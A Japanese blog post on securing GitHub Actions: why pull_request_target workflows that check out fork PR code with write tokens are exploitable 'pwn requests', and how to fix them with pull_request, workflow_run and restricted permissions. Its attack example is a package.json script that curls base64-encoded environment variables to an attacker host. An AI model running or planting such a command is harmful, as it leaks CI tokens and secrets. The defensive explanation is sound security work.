背景
依存しているライブラリに次のようなコードがありました。
※簡単のためシンプルにしています
on: pull_request_target jobs: coverage: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} - run: npm ci && npm run test:coverage - uses: actions/github-script@v7 with: script: | await github.rest.issues.createComment({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number, body: 'Coverage report generated' });
一見テストを実行してテストカバレッジをPRにコメントしているだけのCIですが、セキュリティ的には大きな問題があります。
大きく2つの問題点があります。
pull_request_targetを使っているのにPR元のコードを参照しているpermissionsで権限を制限していない
これらの詳細について、pull_request, pull_request_target の使い分けを踏まえながら説明していきます。
pull_request と pull_request_target
まず先にpull_request と pull_request_targetの違いについて説明します。
設計思想
それぞれの設計思想は次のようになっています。
pull_request:PR元の workflowを実行する。ただし権限は弱め(特にfork)pull_request_target:PR先(main/master)の workflowを実行する。ただし権限は強め
比較表
より詳細な比較は次の通りです。
| 特徴 | pull_request (fork PR) |
pull_request (同一repo PR) |
pull_request_target |
|---|---|---|---|
| ワークフロー定義 | PR元 (Head) | PR元 (Head) | PR先 (Base=main/master) |
| 実行コード | PR元コード | PR元コード | デフォルト Base コード。 PR元コードも実行可能 |
| GITHUB_TOKEN | read 権限 | write 権限 | write 権限 |
| Secrets | 利用不可 | 利用可能 | 利用可能 |
| workflow 改ざん耐性 | ❌ PR側で変更可能 | ❌ PR側で変更可能 | ✅ Base側 workflow を強制 |
| untrusted code 実行 | ✅ される | ✅ される | ⚠️ head checkout 時に成立 |
| 主用途 | OSS CI | internal CI | metadata automation |
| 安全な用途 | build / test / lint | build / test / lint | label / comment / reviewer assign |
これらを意識した上で使い分ける必要があります。
なぜ該当ライブラリはpull_request_targetを使っていたのか
該当ライブラリは、OSSであるためforkからPRが送られる形でした。一般的なOSSですね。
おそらくは「コードカバレッジを生成したい」という意図から、write権限を付与できるpull_request_targetを採用したのだと思われます。
問題点
では今回の問題点の詳細をそれぞれ説明します。
pull_request_targetを使っているのにPR元のコードを参照している
では具体的にどんな攻撃ができるのでしょうか?
PR元のコードを実行するようになっているので、攻撃者はCIやテストコードに悪意あるコード(シークレットを盗み出す、ブランチを消すなど)を埋め込むことが可能です。
on: pull_request_target jobs: coverage: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.sha }} # PR元のコードをcheckout - run: npm ci && npm run test:coverage # 攻撃者の postinstall / test script が # write権限付き GITHUB_TOKEN を持つ環境で実行される - uses: actions/github-script@v7 with: script: | await github.rest.issues.createComment({ owner: context.repo.owner, repo: context.repo.repo, issue_number: context.issue.number, body: 'Coverage report generated' });
例えばpackage.jsonに次のようなコードを埋め込んだPRを作ります。
{ "scripts": { "test:coverage": "curl -X POST -d \"$(env | base64)\" https://attacker-evilsite.com/leak" } }
そうすると、env コマンドで環境変数をすべて取得し、外部サーバーへ飛ばすことが可能になります。
これにより強い権限を持ったトークンが漏洩します。
このような
pull_request_target- PR元(head)の checkout
- untrusted code execution
を組み合わせた脆弱な GitHub Actions workflow は、GitHub Security Lab では pwn requests と呼ばれています。
対応策
fork PRを受け入れる場合は、基本的にpull_requestを使います。
その上でコードカバレッジのようなコメントを残したい場合は、workflow_runを使います。
pull_requestでビルド・テスト- テストカバレッジ結果を成果物(アーティファクト)として残す
workflow_runを起動- 2で作った成果物を元にカバレッジコメントを投稿
具体的には次のようなCIになります。
ビルド・テスト
# .github/workflows/ci.yml name: CI on: pull_request: permissions: contents: read jobs: coverage: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - uses: actions/setup-node@v4 with: node-version: 20 - run: npm ci - run: npm run test:coverage - uses: actions/upload-artifact@v4 with: name: coverage-summary path: coverage/summary.json
カバレッジコメント
# .github/workflows/coverage-comment.yml name: Coverage Comment on: workflow_run: workflows: ["CI"] types: [completed] permissions: actions: read contents: read pull-requests: write issues: write jobs: comment: if: ${{ github.event.workflow_run.event == 'pull_request' && github.event.workflow_run.conclusion == 'success' }} runs-on: ubuntu-latest steps: - uses: actions/download-artifact@v4 with: name: coverage-summary path: coverage run-id: ${{ github.event.workflow_run.id }} github-token: ${{ github.token }} - uses: actions/github-script@v7 with: script: | const fs = require('fs'); const summary = JSON.parse( fs.readFileSync('coverage/summary.json', 'utf8') ); const pr = context.payload.workflow_run.pull_requests[0]; await github.rest.issues.createComment({ owner: context.repo.owner, repo: context.repo.repo, issue_number: pr.number, body: `Coverage: ${summary.total.lines.pct}%` });
permissionsで権限を制限していない
pull_requestであればread権限しか持たないGITHUB_TOKENになりますが、pull_request_targetの場合はwrite権限を持ってしまいます。
GITHUB_TOKENのデフォルト権限
write権限を持つ場合のGITHUB_TOKENのデフォルト権限は、次のように非常に強いです。
| 操作 | 可能? | 備考 |
|---|---|---|
| PR をクローズ | ✅ 可能 | pull-requests: write |
| PR にコメント投稿 | ✅ 可能 | social engineering に悪用可能 |
| PR を approve | ⚠️ 条件付き | Allow GitHub Actions to create and approve pull requests が必要 |
| PR を merge | ⚠️ 条件付き | Branch Protection Rules に依存 |
| 非保護ブランチへ push | ✅ 可能 | contents: write |
| 保護ブランチへ へ push | ⚠️ 条件付き | Branch Protection Rules に依存 |
| tag 作成 | ✅ 可能 | release 偽装に利用可能 |
| Release 作成 | ✅ 可能 | マルウェア配布に悪用可能 |
| ブランチ削除 | ✅ 可能 | contents: write |
| Issue 操作 | ✅ 可能 | close / reopen / spam 等 |
| Workflow 改ざん | ✅ 可能 | .github/workflows/* を変更可能 |
見ての通りコードの改ざんやサプライチェーン攻撃がし放題になります。
対応策①
必ずpermissionsは設定するようにしましょう。
例えば元の定義も、コメントするのに最低限必要な権限にしておけばブランチの強制push・ブランチの削除といったことは防ぐことができます。
on: pull_request_target permissions: contents: read pull-requests: write issues: write
対応策②
先ほどのデフォルト権限ですが、これはリポジトリの設定(Settings > Code and automation > Actions > General)で変更することが可能です。

このRead repository contents and packages permissionsの方にしておけば、permissionsを付けない場合のデフォルトの権限を弱めることが可能です。
この設定は2023/02/02以降に作ったリポジトリ・組織であればデフォルトでReadになっています。ただしそれ以前のリポジトリ・組織は互換性のためRead and Writeになっています。
Read repository contents の方に設定したとしても、Write権限は明示的につけることで利用可能です。
その他注意する点
pull_request_targetはどんな時に使う?
基本的に PR code を実行せず、PR metadata を使います。
| ユースケース | 具体例 |
|---|---|
| Label | 変更されたファイルパスに .md が含まれていれば documentation ラベルを付与する |
| Comment | PRの本文がテンプレートに従っていない場合や、初めてのコントリビューターに対して、自動でコメントを投稿する |
| Reviewer assign | 変更されたファイルのディレクトリに基づいて、特定のチームやユーザーをレビュアーとしてアサインする |
他にはベースコードのシェルスクリプトを使ってLint処理をするなどがあるでしょう。
permissionsは設定したとしてもシークレットアクセスは可能
pull_request_targetの場合permissionsの指定をしたとしても、リポジトリシークレットへのアクセスは可能です。
なので1つ目のPRコードを参照するworkflow自体を解決していないと、GITHUB_TOKEN以外にもパブリッククラウドのサービスアカウントシークレットなど扱っている場合に取得・悪用が可能になります。
まとめ
pull_request, pull_request_target の使い分けについて説明しました。
重要なのは「どの trigger が危険か」ではなく、
- 強い権限を持つ workflow
- fork PRのような信頼できないコードの実行
を同じ job に置かないことです。